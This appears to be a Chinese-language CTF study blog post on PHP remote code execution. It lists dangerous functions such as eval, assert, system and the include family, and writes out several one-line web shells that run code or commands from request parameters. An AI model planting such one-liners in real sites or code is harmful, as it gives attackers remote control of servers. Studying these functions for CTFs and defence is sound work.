Web小知识-Just RCE

A little start

Posted by sword Reforge on April 15, 2025
常用函数

eval() system() assert() exec() preg_replace() shell_exec() call_user_func() passthru() array_map() popen() 这些函数都是常见的敏感函数,容易造成一些危险的漏洞 当然也是很重要的考点,其具体作用参考(https://zhuanlan.zhihu.com/p/622502997)

这些是一个笼统的记录,他们有不同的危险特色: ###1、代码执行系 这些函数能够执行一些php的代码,造成危险,同时是flag的获取点

eval()

大名鼎鼎,臭名昭著。一句话木马常客一号。

<?php @eval($_POST['shell']);?>

assert()

同样是很敏感的东西,一句话木马常客二号

<?php assert(@$_POST['shell']); ?>

preg_replace()

这个不太常用,当匹配模式/e时,该函数会将$replacement作为php代码执行 贴一份对应一句话木马

preg_replace("/test/e",$_GET["shell"],"just test");

剩下几个使用范围较少,有的甚至已经被弃用了,这里就不做介绍了: create_function() (在php7.2.0后被废弃) array_map() call_user_func() call_user_func_array() array_filter()

2、命令执行系

system()

漏洞头头,这里放出一句话木马的形式:

<?php
    system($_GET['cmd']);
?>

exec() 执行外部程序

<?php 
    echo exec("whoami");
?>

shell_exec() 通过shell环境执行命令,并将完整的输出以字符串的方式返回

<?php 
    echo shell_exec("whoami");
?>

剩下的由于不怎么常用,这里仅做列举 passthru() 执行外部程序并且显示原始输出

<?php 
    passthru("whoami");
?>

proc_open() 执行一个命令,并且打开用来输入/输出的文件指针 pcntl_exec() 在当前进程空间执行指定程序 popen() 打开进程文件指针 反引号,实质上还是调用的shell_exec()函数,在CTF题目里面有的时候会忘记过滤导致直接拿到flag

文件包含系

php中包含的函数一共有四个,主要作用为包含并运行指定文件 require() 函数 inclue() 函数 require_once() 函数 include_once() 函数 include()与require_once()主要的区别是:include()在包含的过程中如果出现错误,会抛出一个警告,程序继续运行;而require()函数出现错误时,会直接报错并退出程序的执行 require_once()和include_once(),显然表示的是文件只包含一次的意思,避免函数重定义和变量重新赋值等问题 这些函数通常配和伪协议来实现文件包含漏洞;

SSRF系

没学过还不会,先放着

XXE系

也没学过

其他:

php的变量名使用字母数字和下滑线构成的,所以会将空格、+、点、[转换为下划线,但是当[提前出现后,后面的点就不会再变成_了